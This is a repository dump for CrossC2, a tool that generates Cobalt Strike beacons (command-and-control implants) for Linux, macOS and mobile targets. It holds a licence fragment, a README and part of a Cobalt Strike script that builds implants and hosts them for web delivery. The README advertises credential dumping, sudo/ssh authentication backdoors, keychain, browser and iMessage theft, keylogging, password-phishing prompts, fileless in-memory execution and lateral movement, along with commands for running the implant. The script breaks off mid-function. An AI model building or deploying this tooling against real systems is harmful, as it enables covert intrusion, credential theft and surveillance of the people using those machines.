Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material. 28 | Downstream recipients. 29 | Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License. 30 | No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material. 31 | No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i). 32 | Other rights. 33 | 34 | Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise. 35 | Patent and trademark rights are not licensed under this Public License. 36 | To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties. 37 | Section 3 – License Conditions. 38 | 39 | Your exercise of the Licensed Rights is expressly made subject to the following conditions. 40 | 41 | Attribution. 42 | 43 | If You Share the Licensed Material (including in modified form), You must: 44 | 45 | retain the following if it is supplied by the Licensor with the Licensed Material: 46 | identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated); 47 | a copyright notice; 48 | a notice that refers to this Public License; 49 | a notice that refers to the disclaimer of warranties; 50 | a URI or hyperlink to the Licensed Material to the extent reasonably practicable; 51 | indicate if You modified the Licensed Material and retain an indication of any previous modifications; and 52 | indicate the Licensed Material is licensed under this Public License, and include the text of, or the URI or hyperlink to, this Public License. 53 | You may satisfy the conditions in Section 3(a)(1) in any reasonable manner based on the medium, means, and context in which You Share the Licensed Material. For example, it may be reasonable to satisfy the conditions by providing a URI or hyperlink to a resource that includes the required information. 54 | If requested by the Licensor, You must remove any of the information required by Section 3(a)(1)(A) to the extent reasonably practicable. 55 | If You Share Adapted Material You produce, the Adapter's License You apply must not prevent recipients of the Adapted Material from complying with this Public License. 56 | Section 4 – Sui Generis Database Rights. 57 | 58 | Where the Licensed Rights include Sui Generis Database Rights that apply to Your use of the Licensed Material: 59 | 60 | for the avoidance of doubt, Section 2(a)(1) grants You the right to extract, reuse, reproduce, and Share all or a substantial portion of the contents of the database; 61 | if You include all or a substantial portion of the database contents in a database in which You have Sui Generis Database Rights, then the database in which You have Sui Generis Database Rights (but not its individual contents) is Adapted Material; and 62 | You must comply with the conditions in Section 3(a) if You Share all or a substantial portion of the contents of the database. 63 | For the avoidance of doubt, this Section 4 supplements and does not replace Your obligations under this Public License where the Licensed Rights include other Copyright and Similar Rights. 64 | Section 5 – Disclaimer of Warranties and Limitation of Liability. 65 | 66 | Unless otherwise separately undertaken by the Licensor, to the extent possible, the Licensor offers the Licensed Material as-is and as-available, and makes no representations or warranties of any kind concerning the Licensed Material, whether express, implied, statutory, or other. This includes, without limitation, warranties of title, merchantability, fitness for a particular purpose, non-infringement, absence of latent or other defects, accuracy, or the presence or absence of errors, whether or not known or discoverable. Where disclaimers of warranties are not allowed in full or in part, this disclaimer may not apply to You. 67 | To the extent possible, in no event will the Licensor be liable to You on any legal theory (including, without limitation, negligence) or otherwise for any direct, special, indirect, incidental, consequential, punitive, exemplary, or other losses, costs, expenses, or damages arising out of this Public License or use of the Licensed Material, even if the Licensor has been advised of the possibility of such losses, costs, expenses, or damages. Where a limitation of liability is not allowed in full or in part, this limitation may not apply to You. 68 | The disclaimer of warranties and limitation of liability provided above shall be interpreted in a manner that, to the extent possible, most closely approximates an absolute disclaimer and waiver of all liability. 69 | Section 6 – Term and Termination. 70 | 71 | This Public License applies for the term of the Copyright and Similar Rights licensed here. However, if You fail to comply with this Public License, then Your rights under this Public License terminate automatically. 72 | Where Your right to use the Licensed Material has terminated under Section 6(a), it reinstates: 73 | 74 | automatically as of the date the violation is cured, provided it is cured within 30 days of Your discovery of the violation; or 75 | upon express reinstatement by the Licensor. 76 | For the avoidance of doubt, this Section 6(b) does not affect any right the Licensor may have to seek remedies for Your violations of this Public License. 77 | For the avoidance of doubt, the Licensor may also offer the Licensed Material under separate terms or conditions or stop distributing the Licensed Material at any time; however, doing so will not terminate this Public License. 78 | Sections 1, 5, 6, 7, and 8 survive termination of this Public License. 79 | Section 7 – Other Terms and Conditions. 80 | 81 | The Licensor shall not be bound by any additional or different terms or conditions communicated by You unless expressly agreed. 82 | Any arrangements, understandings, or agreements regarding the Licensed Material not stated herein are separate from and independent of the terms and conditions of this Public License. 83 | Section 8 – Interpretation. 84 | 85 | For the avoidance of doubt, this Public License does not, and shall not be interpreted to, reduce, limit, restrict, or impose conditions on any use of the Licensed Material that could lawfully be made without permission under this Public License. 86 | To the extent possible, if any provision of this Public License is deemed unenforceable, it shall be automatically reformed to the minimum extent necessary to make it enforceable. If the provision cannot be reformed, it shall be severed from this Public License without affecting the enforceability of the remaining terms and conditions. 87 | No term or condition of this Public License will be waived and no failure to comply consented to unless expressly agreed to by the Licensor. 88 | Nothing in this Public License constitutes or may be interpreted as a limitation upon, or waiver of, any privileges and immunities that apply to the Licensor or You, including from the legal processes of any jurisdiction or authority. 89 | Creative Commons is not a party to its public licenses. Notwithstanding, Creative Commons may elect to apply one of its public licenses to material it publishes and in those instances will be considered the “Licensor.” The text of the Creative Commons public licenses is dedicated to the public domain under the CC0 Public Domain Dedication. Except for the limited purpose of indicating that material is shared under a Creative Commons public license or as otherwise permitted by the Creative Commons policies published at creativecommons.org/policies, Creative Commons does not authorize the use of the trademark “Creative Commons” or any other trademark or logo of Creative Commons without its prior written consent including, without limitation, in connection with any unauthorized modifications to any of its public licenses or any other arrangements, understandings, or agreements concerning use of licensed material. For the avoidance of doubt, this paragraph does not form part of the public licenses. 90 | 91 | Creative Commons may be contacted at creativecommons.org. 92 | -------------------------------------------------------------------------------- /README_full.md: -------------------------------------------------------------------------------- 1 | # CrossC2 framework 2 | 3 | [README](README.md) | [中文文档](README_zh.md) 4 | 5 | 🚀 For a faster way, see **cna** introduction [GO📌](#cna-plugin-way) 6 | 7 | 🔥 **Linux** & **MacOS** supports no file landing, load and execute from memory **dynamic library** or **executable file** [GO📖](https://gloxec.github.io/CrossC2/en/api/) 8 | 9 | 🔥 Flexibly customize the data return type of the execution file, **portscan**, **screenshot**, **keystrokes**, **credentials** and other user-defined development to achieve more convenient implementation [GO📖](https://gloxec.github.io/CrossC2/en/api/commons.html) ( [Sample: GO📌](#CustomExtension) ) 10 | 11 | 🔥 Custom communication protocol [GO📖](https://gloxec.github.io/CrossC2/en/protocol/) 12 | 13 | 🔥 Now supports lateral movement [GO📌](#Lateral-movement:-Usage) 14 | 15 | 🔥 Now supports loading scripts from memory [GO📌](#Run-script-in-memory) 16 | 17 | 🎉 **Android** & **iPhone** support [GO📌](#Mobile) 18 | 19 | 20 | # CrossC2 framework - Generator CobaltStrike's cross-platform beacon 21 | 22 | ``` 23 | 24 | ▄████▄ ██▀███ ▒█████ ██████ ██████ ▄████▄ ██████▄ 25 | ▒██▀ ▀█ ▓██ ▒ ██▒▒██▒ ██▒▒██ ▒ ▒██ ▒ ▒██▀ ▀█ ██░ 26 | ▒▓█ ▄ ▓██ ░▄█ ▒▒██░ ██▒░ ▓██▄ ░ ▓██▄ ▒▓█ █████▒ 27 | ▒▓▓▄ ▄██▒▒██▀▀█▄ ▒██ ██░ ▒ ██▒ ▒ ██▒ ▒▓▓▄ ▄█ ░▒██ 28 | ▒ ▓███▀ ░░██▓ ▒██▒░ ████▓▒░▒██████▒▒▒██████▒▒ ▒ ▓███▀ ░▒▓█████▓ 29 | ░ ░▒ ▒ ░░ ▒▓ ░▒▓░░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░ ░ ░▒ ▒ ░▒ ░▓ ░░ 30 | ░ ▒ ░▒ ░ ▒░ ░ ▒ ▒░ ░ ░▒ ░ ░░ ░▒ ░ ░ ░ ▒ ░ ░░ ░ 31 | ░ ░░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ CrossC2 v2.0 @hook 32 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 33 | ░ ░ 34 | ``` 35 | 36 | ![](media/15901534124389/15985513904454.jpg) 37 | ![](media/15848885324084/15848892759774.jpg) 38 | 39 | # Description 40 | 41 | A security framework for enterprises and Red Team personnel, supports CobaltStrike's penetration testing of other platforms (Linux / MacOS / ...), supports custom modules, and includes some commonly used penetration modules. 42 | 43 | `Only for internal use by enterprises and organizations, this framework has a certain degree of instability. Non-professionals are not allowed to use it. Anyone shall not use it for illegal purposes and profitability. Besides that, publishing unauthorized modified version is also prohibited, or otherwise bear legal responsibilities.` 44 | 45 | 46 | 47 | | | Windows | Linux | MacOS | iOS | Android | Embedded | 48 | | --- | --- | --- | --- | --- | --- | --- | 49 | | Run Env (x86) | | √ | | | | | 50 | | Run Env (x64) | √ | √ | √ | | | | 51 | | gen beacon (x86) | | √ | | | √ | | 52 | | gen beacon (x64) | | √ | √ | | | | 53 | | gen beacon (armv7) | | | | ⍻ | √ | | 54 | | gen beacon (arm64) | | | | √ | √ | | 55 | | gen beacon (mips[el]) | | | | | | ⍻ | 56 | 57 | Restricted description: 58 | * CobaltStrike: currently only supports the last version of cs 3.14(bug fixs) and 4.x versions are supported (see the cs4.1 branch for details). 59 | * Linux: For particularly old systems, you can choose "Linux-GLIBC" option in cna (around 2010) 60 | * MacOS: Latest systems only support 64-bit programs 61 | * iOS: sandbox, restricted cmd 62 | * Embedded: only *nix 63 | * ⍻ : Loader is still in progress 64 | 65 | # Install & Usage 66 | 67 | > Download: 68 | 69 | * **CrossC2.cna** 70 | * **genCrossC2** `(If it is a Windows system, download genCrossC2.Win.exe)` 71 |
72 | note⚠️ 73 | The two files that genCrossC2.Win.exe needs to depend on are `ucrtbased.dll` and `vcruntime140d.dll`. 74 |
You can install the dependencies yourself or use the files provided in the issue to copy to `C:\Windows\System32` 75 | [issue: win_sdk_dll](https://github.com/gloxec/CrossC2/issues/49#issuecomment-748630879) 76 |
77 | 78 | 1. Modify the `genCC2` path in the` CrossC2.cna` script to the **real path** 79 | ``` 80 | 77: $genCC2 = "/xxx/xx/xx/genCrossC2.MacOS"; # <-------- fix 81 | ``` 82 | 83 | 2. choose `Script Manager`, add `CrossC2.cna` (If successfully installed, the menu bar will have an additional item `CrossC2`) 84 | 85 | > Create listener and copy key: 86 | 87 | For some reasons, only HTTPS beacon is currently supported. 88 | 89 | 1. Copy `.cobaltstrike.beacon_keys` from the cs directory on the **server** to the **local directory.** 90 | 91 | > CustomExtension: 92 | 93 | 1. Add `CrossC2Kit_Loader.cna` after downloading CrossC2Kit. It contains other functions such as memory loading. (The file management function of `cs4.x` version is missing. Only use this Loader to re-enable file management) 94 | 95 | > Method of running beacon: 96 | 97 | * Run the one-click online script generated by the CrossC2 plugin on the target 98 | * After uploading the beacon to the target machine for empowered operation 99 | * Set the working directory for beacon and run: `export CCPATH=/opt/ && /tmp/c2` 100 | * Temporarily specify the protocol library for beacon and run: `/tmp/c2 /tmp/c2-rebind.so` 101 | * Temporarily set C2 configuration for beacon: `export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2` 102 | 103 | ## Reference documents: [📖 Wiki](https://gloxec.github.io/CrossC2/en/usage/) 104 | 105 | ## Module: API introduction [📖 Wiki](https://gloxec.github.io/CrossC2/en/api/) 106 | 107 | It adopts the method of loading memory without landing, and supports dynamic libraries (.so/.dylib) and executable files (ELF/MachO). 108 | 109 | The type of output information can be freely specified at the time of execution. The return type has been predetermined and can be docked with the native return data type of CS. 110 | 111 |
112 | warning⚠️ 113 | `⚠️: Although the file is loaded directly from memory, the process can be viewed in ps when the executable file(ELF/MachO) is passed in, but the process name can be customized.` 114 |
`⚠️: For special data types, such as passwords, port scan results, etc., please refer to the information returned by the native function of cs, which will be matched according to the regular.` 115 |
116 | 117 |
118 | CustomExtension 119 | 120 | 1. Password dump module: cc2_mimipenguin uses the open source project MimiPenguin2.0, see CrossC2Kit/ mimipenguin/mimipenguin.cna 121 | 122 | 2. Authentication backdoor modules: cc2_auth, cc2_ssh sudo / su / passwd and other authentication backdoors, ssh is connected and the credentials to connect to other hosts will be recorded. 123 | 124 | 3. Information collection modules: cc2_safari_dump, cc2_chrome_dump, cc2_iMessage_dump, cc2_keychain_dump access records of common browsers, as well as iMessage chat content and authentication credentials saved in the keychain will be obtained. 125 | 126 | 4. Traffic proxy module: cc2_frp supports fast TCP/KCP(UDP) reverse socks5 encrypted traffic proxy. 127 | 128 | 5. Keylogger module: cc2_keylogger records user's keyboard input. 129 | 130 | 6. Network detection module: cc2_portscan, cc2_serverscan for port scanning and service version scanning. 131 | 132 | 7. Privilege promotion module: cc2_prompt_spoof induces deception to obtain user account password. 133 | 134 | 8. Task management module: cc2_job manages the modules running in memory. 135 | 136 | 9. ... 137 | 138 |
139 | 140 | 141 | ## Custom communication protocol: API introduction [📖 Wiki](https://gloxec.github.io/CrossC2/en/protocol/) 142 | 143 | Can more easily realize C2Profile configuration and custom communication protocol TCP / UDP and so on. 144 | 145 | ## Lateral movement 146 | 147 | 1. Generate beacon of `Linux-bind` / `MacOS-bind` type 148 | 2. The target in the intranet runs `./MacOS-bind.beacon ` to start the service 149 | 3. Run `connect :` in the session of China Unicom 150 | 151 | 152 | ## Run script in memory 153 | 154 |
155 | Examples 156 | 157 | The script interpreter such as **bash** / **python** / **ruby** / **perl** / **php** in the host can be called directly in the session to execute the script passed into the memory. 158 | `There is no information in the process, all running content is transferred from the memory to the interpreter` 159 | 1. python c:\getsysteminfo.py 160 | 2. python import base64;print base64.b64encode('whoami'); print 'a'*40 161 | 3. php 162 | 163 | Try to load local script: 164 | ![](media/15901534124389/16041501958652.jpg) 165 | 166 | Try to run the scripting language directly: 167 | ![](media/15901534124389/16041502298949.jpg) 168 | 169 |
170 | 171 | # Coming soon 172 | 173 | 1. Rich C2Profile support ✔︎ (Choose custom HTTP module when CNA generates beaocn) 174 | 2. Staged Type Shellcode Generation ✔︎ (Only Linux is temporarily supported, and stagerServer needs to be started on the server) 175 | 3. http-proxy (auth) & socks proxy back connection support 176 | 4. Proxy-Pivots ✔︎ (Temporarily adopt the method of connecting back to socks proxy) 177 | 5. node beacon? (Single node type, can host other beacon without relying on teamserver) 178 | 6. Linux & MacOS side so/dylib's reverse shell support, and its derivative process injection functions 179 | 180 | # Examples 181 | 182 |
183 | Mobile 184 | 185 | ## Mobile 186 | ![](media/15848885324084/15848892759774.jpg) 187 | 188 | ![](media/15848885324084/15848892902723.jpg) 189 | 190 |
191 | 192 |
193 | MacOS & Linux 194 | 195 | ## MacOS & Linux 196 | 197 | ![](media/15794884596715/15795001494711.jpg) 198 | ![](media/15824278372797/15824282351545.jpg) 199 | 200 |
201 | 202 |
203 | CustomExtension 204 | 205 | ## CustomExtension 206 | 207 | Develop dynamic libraries and customize data return types, such as implementing some built-in functions. 208 | 209 | ### keystrokes 210 | ![](media/15854585486601/15854592406527.jpg) 211 | 212 | ### credentials 213 | ![](media/15854585486601/15854601104042.jpg) 214 | 215 | ### portscan 216 | ![](media/15854585486601/15854593957704.jpg) 217 | 218 |
219 | 220 | # ChangeLog 221 | 222 | ## release v2.2.5 - stable : 223 | * -fix The online issue of the high version of Linux introduced by the v2.2.4 version 224 | * -fix A bug where memory execution may fail when passing in parameters 225 | * -fix Fix the bug that caused the crash when the network connection is abnormal, for example, the teamserver suddenly exits abnormally when the package is being sent, etc. #106 226 | * -fix The bug that the connect command does not specify a port when connecting to a child node will exit abnormally #95 227 | * +support CDN server SNI support, now Cloudflare service can be used normally #87 228 | * +support Linux 32&64 bits have supported procfs to obtain process information 229 | * -change When beacon is online, `[config]: alive` will not be displayed by default, and it can be turned on with `export CC_DEBUG=1` #78 230 | 231 | ## release v2.2.4 - stable : 232 | * -fix v2.2.3 beacon online issue #84 #85 233 | * +support Support for obtaining process list information from procfs on Linux 234 | 235 | ## release v2.2.3 : 236 | * -fix Fix the bug that beacon exits when opening the file manager on 32-bit Linux. 237 | * -fix Fix the parsing errors of `bcd`, `bls`, `bupload` and other functions in multi-instruction merge tasks, now you can process the same cna scripts as windows beacon. #81 238 | * +support Add two environment variables to temporarily set the C2 server address for beacon connection. (`CCHOST` & `CCPORT`) 239 | > export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2 240 | * +support Add support for `bupload` function. https://github.com/gloxec/CrossC2/issues/81#issuecomment-841068719 241 | 242 | ## release v2.2.2 - stable : 243 | * -fix Fix some bugs that caused the beacon to fail to start when loading the custom communication protocol library. 244 | * +support Add two mandatory beacon running methods for loading custom communication protocol library 245 | 246 | > 1. export CCPATH=/opt/ && /tmp/c2 247 | (Mandatory setting of a working directory with permissions for beacon, such as `/opt/`) 248 | > 2. /tmp/c2 /tmp/c2-rebind.so 249 | (Mandatory loading of communication protocol library for beacon) 250 | 251 |
252 | Historical version update instructions 253 | 254 | ## release v2.2.1 : 255 | * -fix Fix the problem that the file download speed is too slow (now up to full speed) 256 | * -fix Fix the problem of multiple files at the same time (use the `downloads` command to view the progress) 257 | * -fix Fix the problem that the `/tmp/` directory file permissions on the low-version kernel system do not have the execute permission by default, which causes the `beacon` to fail to start 258 | * -fix Fix the problem that resources are occupied and cause failure when `beacon` is repeatedly online on a low-version kernel system 259 | * -fix Fix the problem that files landing on low-version kernel systems face name conflicts and fail to run 260 | 261 | ## release v2.2 : 262 | 263 | * -change Only CS 4.x (>=4.1) version is supported, lower versions will no longer be supported. 264 | * -fix Fix the protocol rebinding error of the low version of Linux kernel 265 | * +support C2 domain name resolution 266 | * +support Support continuous invocation of memory execution components 267 | * +support Support for adding shell aliases for memory execution, so that other people in the team can directly call the loaded memory execution components through shell commands 268 | * +support python-import support, like powershell-import to provide convenience for python execution 269 | * +support low version GLIBC support of genCrossC2 270 | 271 | 272 | ## release v2.1 : 273 | 274 | * +support Support for parsing and executing scripts from memory 275 | * +support Support CobaltStrike 4.1 (see cs4.1 branch for details) 276 | 277 | ## release v2.0 : 278 | 279 | * -fix Fix the problem of path errors caused by backslashes when uploading files in the file management office 280 | * -fix Long-term testing in various scenarios in the real environment, fixing some hidden problems, and now more stable 281 | * +support Support for lower kernel version systems 282 | * +support Environment variables are automatically set at startup 283 | * +support Delete sensitive env records at startup 284 | * +support The background service process can be linked to the init process at startup 285 | * +support Increase session spawn function 286 | * +support Increase the function of session setting environment variables 287 | * +support Increase the privilege escalation function of session getsystem 288 | * +support Increase session analysis function to handle multiple merge tasks 289 | * +support Increase Mac & Linux lateral movement function 290 | 291 | ## release v1.5 : 292 | 293 | * -fix genCrossC2's bug about protocol rebinding. 294 | 295 | ## release v1.4 : 296 | 297 | * -fix Linux daemon process and joblist display problem. 298 | 299 | ## release v1.3 : 300 | 301 | * +support Support custom communication protocol (HTTP, TCP, UDP...) . 302 | * +support A new joblist module has been added to manage programs running without files in persistent memory. 303 | * +support Reverse proxy module{TCP/KCP(UDP)} that executes without files in memory. 304 | 305 | 306 | md5(genCrossC2.Linux) = 221b3ede4e78fee80f59946f116d7245 307 | 308 | md5(genCrossC2.MacOS) = d216cad3fe3c25ead46b85c7ad7051f1 309 | 310 | md5(genCrossC2.Win.exe) = a573506e8825b46b041ac3b9307a656b 311 | 312 | ## release v1.2 : 313 | 314 | * +support Support manual selection of key files. 315 | * +support Support to generate shellcode. 316 | * -change No longer rely on cobaltstrike.jar (plug-ins can be placed in any directory). 317 | * -change More flexible and convenient Script Unix Web Delivery. 318 | 319 | md5(genCrossC2.Linux) = 2ef7250cc3787d3cbd1e6f99c3c434aa 320 | 321 | md5(genCrossC2.MacOS) = eaabde94dd7fed8dabb37cd67a1171c4 322 | 323 | md5(genCrossC2.Win.exe) = c65ac808ed3a1000b3ff4ebb8c48ea4e 324 | 325 | ## release v1.1 : 326 | 327 | * -fix Multi-language garbled problem fix for memory load execution function 328 | 329 | md5(genCrossC2.Linux) = 2347ed6e30e4655b793a6dbb4d33d25c 330 | 331 | md5(genCrossC2.MacOS) = f530333500a76fe228864f8901af4104 332 | 333 | md5(genCrossC2.Win.exe) = c223e31b2674a8a11d3254f92259e87a 334 | 335 | ## release v1.0 : 336 | 337 | * -fix Test multiple times for a long time in multiple scenarios in real environment, fix some hidden problems, now more stable 338 | * +support Linux & MacOS Supports no file landing, loading and executing from memory 339 | * +support Reserved CS built-in data types, richer user-defined plug-in return data types, free and easy to implement 'portscan' and other native functions 340 | 341 | md5(genCrossC2.Linux) = 12295998d4bffd5b4c4a411fb33428bb 342 | 343 | md5(genCrossC2.MacOS) = c88ce9df47529b243e2215a866d445c5 344 | 345 | md5(genCrossC2.Win.exe) = 51d1814f1ebbab634bce0373ceb7cee6 346 | 347 | ## release v0.4 : 348 | 349 | * -change Multi-threaded background when shell commands are executed 350 | * -change Redirect error output to standard output when shell command is executed. 351 | * +support Add background file download function. 352 | 353 | md5(genCrossC2.Linux) = b2e34f721ec2543b6625e33c8c2935df 354 | 355 | md5(genCrossC2.MacOS) = 4e38a9d9a3eeff309648afc02e2e7664 356 | 357 | ## release v0.3 : 358 | 359 | * +support Compatibility with older versions of GLIBC on older systems Linux (around 2010). 360 | 361 | ## release v0.2 : 362 | 363 | * -fix genCrossC2.Linux crash. 364 | * -fix uploading large file error. 365 | * +support GUI file manager. 366 | 367 | md5(genCrossC2.Linux) = 8256374d88c2149efc102aff7e90b3f9 368 | 369 | md5(genCrossC2.MacOS) = 08fce0a5d964a091d8bf2344d7ab809e 370 | 371 | ## release v0.1 : 372 | 373 | * Support Linux & MacOS beacon generation. 374 | 375 | md5(genCrossC2.Linux) = f4c0cc85c7cdd096d2b7febedc037538 376 | 377 | md5(genCrossC2.MacOS) = 79fff0505092fc2055824ed1289ce8f9 378 | 379 | 380 |
381 | 382 | -------------------------------------------------------------------------------- /src/CrossC2.cna: -------------------------------------------------------------------------------- 1 | menubar("CrossC2", "generator", 2); 2 | 3 | $CC2_PATH = "/xxx/xx/xx/"; # <-------- fix 4 | $CC2_BIN = "genCrossC2.MacOS"; 5 | 6 | popup generator { 7 | separator(); 8 | menu "&Create CrossC2 Listener" { 9 | item "&Create reverse HTTPS Listener" { 10 | createCrossC2Listener(true); 11 | } 12 | item "&Create bind TCP Listener" { 13 | createCrossC2Listener(false); 14 | } 15 | } 16 | item "&Scripted Web Delivery (S)" { 17 | createCrossC2Script(); 18 | } 19 | item "&About" { 20 | projectAbout() 21 | } 22 | separator(); 23 | } 24 | 25 | popup ssh { 26 | menu "&Explore" { 27 | item "&File Browser" { 28 | local('$bid'); 29 | foreach $bid ($1) { 30 | openFileBrowser($bid); 31 | } 32 | } 33 | item "&Process List" { openProcessBrowser($1); } 34 | } 35 | item "&Spawn" { 36 | local('$bid'); 37 | foreach $bid ($1) { 38 | btask($bid, "[shell]: shell spawn"); 39 | bshell($bid, "spawn"); 40 | } 41 | } 42 | } 43 | 44 | sub random_string { 45 | # <3 @offsec_ginger 46 | local('$limit @random_str $characters'); 47 | $limit = $1; 48 | @random_str = @(); 49 | $characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; 50 | for ($x = 0; $x < $limit; $x++) { 51 | $n = rand(strlen($characters)); 52 | add(@random_str, charAt($characters, $n)); 53 | } 54 | return join('', @random_str); 55 | } 56 | 57 | sub getSystemInfo { 58 | local('$process $sys_data'); 59 | $process = exec("/usr/bin/uname"); 60 | $sys_data = readAll($process); 61 | closef($process); 62 | if (strlen($sys_data) > 0) { 63 | return 1; 64 | } else { 65 | return 0; 66 | } 67 | } 68 | 69 | sub checkSpace { 70 | local('$realPath'); 71 | $realPath = ""; 72 | if ($1 eq "null") { 73 | $realPath = $1; 74 | } else { 75 | if (getSystemInfo() == 1) { 76 | $realPath = replace($1, '\p{Space}', "\\\\ "); 77 | } else { 78 | $realPath = replace($1, '\p{Space}', "^ "); 79 | } 80 | if (find($realPath, '\p{Space}') > 0) { 81 | $realPath = "'".$realPath."'"; 82 | } 83 | } 84 | return $realPath; 85 | } 86 | 87 | sub createCrossC2ListenerDialogCallBack { 88 | elog(""); 89 | local('$reverse_https_flag'); 90 | $system = $3['system']; 91 | $arch = $3['arch']; 92 | $upx = $3['upx']; 93 | $listener = $3['listener']; 94 | $outputFileName = $3['outputFileName']; 95 | $beaconKeyPath = $3['beaconKey']; 96 | $c2profile = $3['c2profile']; 97 | $rebind_lib = $3['rebind_lib']; 98 | $config_ini = $3['config_ini']; 99 | $processName = $3['processname']; 100 | $enableSSL = false; 101 | $enableSSL = $3['enableSSL']; 102 | $bindPort = $3['bindPort']; 103 | $domain = localip(); 104 | $host = $domain; 105 | $port = $bindPort; 106 | $reverse_https_flag = true; 107 | $cs_version = $3['cs_version']; 108 | 109 | if ($listener eq "Listener: ") { 110 | $reverse_https_flag = false; 111 | } 112 | 113 | if ($config_ini ne "null") { 114 | $rebind_lib = $rebind_lib.";".$config_ini; 115 | } else { 116 | $config_ini = ""; 117 | } 118 | if ($c2profile ne "null") { 119 | $rebind_lib = ";".$config_ini.";".$c2profile; 120 | } 121 | 122 | if ($reverse_https_flag) { 123 | $listener_info = listener_info($listener); 124 | $host = $listener_info['host']; 125 | $port = $listener_info['port']; 126 | $domain = $listener_info['beacons']; 127 | $domain = replace($domain, ', ', ','); 128 | } 129 | 130 | 131 | $outputFileName = checkSpace($outputFileName); 132 | $rebind_lib = checkSpace($rebind_lib); 133 | $beaconKeyPath = checkSpace($beaconKeyPath); 134 | 135 | 136 | $genCC2 = $CC2_PATH . $CC2_BIN; 137 | $genCC2 = $genCC2." ".$domain." ". $port." ".$beaconKeyPath." ".$rebind_lib." ".$system." ".$arch." ".$outputFileName; 138 | if ($upx eq "raw") { 139 | $genCC2 = $genCC2." ".$upx; 140 | } 141 | if ($cs_version eq "4.4 - source version") { 142 | if ($upx eq "upx") { 143 | $genCC2 = $genCC2." upx 4.4"; 144 | } 145 | } 146 | elog($genCC2); 147 | $process = exec($genCC2); 148 | $run_res = readAll($process); 149 | closef($process); 150 | if (getSystemInfo() == 1) { 151 | elog("genCrossC2 beacon -> ".$run_res[14]); 152 | } else { 153 | elog("genCrossC2 beacon -> ".$run_res[11]); 154 | } 155 | if ($rebind_lib ne 'null') { 156 | if (getSystemInfo() == 1) { 157 | elog("rebind protocol -> ".$run_res[16]); 158 | } else { 159 | elog("rebind protocol -> ".$run_res[13]); 160 | } 161 | } 162 | 163 | $handle = openf($outputFileName); 164 | $c2Data = readb($handle, -1); 165 | closef($handle); 166 | 167 | $c2_libData = ''; 168 | if ('-bind' isin $system) { 169 | } else { 170 | # create libbeacon data 171 | $genCC2_lib = $CC2_PATH . $CC2_BIN; 172 | $genCC2_lib = $genCC2_lib." ".$domain." ". $port." ".$beaconKeyPath." ".$rebind_lib." ".$system."-lib ".$arch." ".$outputFileName.".lib"; 173 | if ($upx eq "raw") { 174 | $genCC2_lib = $genCC2_lib." ".$upx; 175 | } 176 | if ($cs_version eq "4.4 - source version") { 177 | if ($upx eq "upx") { 178 | $genCC2_lib = $genCC2_lib." upx 4.4"; 179 | } 180 | } 181 | elog($genCC2_lib); 182 | $process_lib = exec($genCC2_lib); 183 | $run_res = readAll($process_lib); 184 | closef($process_lib); 185 | $handle_lib = openf($outputFileName.".lib"); 186 | $c2_libData = readb($handle_lib, -1); 187 | closef($handle_lib); 188 | if (getSystemInfo() == 1) { 189 | elog("genCrossC2 libbeacon -> ".$run_res[14]); 190 | } else { 191 | elog("genCrossC2 libbeacon -> ".$run_res[11]); 192 | } 193 | if ($rebind_lib ne 'null') { 194 | if (getSystemInfo() == 1) { 195 | elog("rebind protocol -> ".$run_res[16]); 196 | } else { 197 | elog("rebind protocol -> ".$run_res[13]); 198 | } 199 | } 200 | } 201 | 202 | $uri = $3['uri']; 203 | $lport = $3['lport']; 204 | 205 | $targetSaveName = random_string(10); 206 | 207 | # host CrossC2 beacon 208 | $listener_name = ""; 209 | if ($reverse_https_flag) { 210 | $listener_name = "CrossC2 beacon: reverse-https $system $arch { $listener }"; 211 | # listener中携带了 CrossC2 beacon 212 | listener_create_ext("CrossC2 reverse HTTPS { $listener }{ $system $arch }", "windows/beacon_bind_tcp", %(host => "127.0.0.1", port => 4444, CrossC2Beacon => $c2Data, CrossC2libBeacon => $c2_libData)); 213 | } else { 214 | $listener_name = "CrossC2 beacon: bind-tcp $system $arch"; 215 | # listener中携带了 CrossC2 beacon 216 | listener_create_ext("CrossC2 bind TCP { $system $arch }", "windows/beacon_bind_tcp", %(host => "127.0.0.1", port => $bindPort, CrossC2Beacon => $c2Data)); 217 | } 218 | if ($enableSSL eq 'true') { 219 | $beaconUrl = site_host($host, $lport, "/".$targetSaveName, $c2Data, "automatic", $listener_name.'[https]', true); 220 | } else { 221 | $beaconUrl = site_host($host, $lport, "/".$targetSaveName, $c2Data, "automatic", $listener_name.'[http]', false); 222 | } 223 | elog("create listener: ".$listener_name); 224 | show_message("create listener: ".$listener_name); 225 | } 226 | 227 | sub createCrossC2Listener { 228 | local('$reverse_https_flag'); 229 | local('$output_file'); 230 | $reverse_https_flag = $1; 231 | $output_file = "/tmp/CrossC2-test"; 232 | if (getSystemInfo() == 1) { 233 | $output_file = 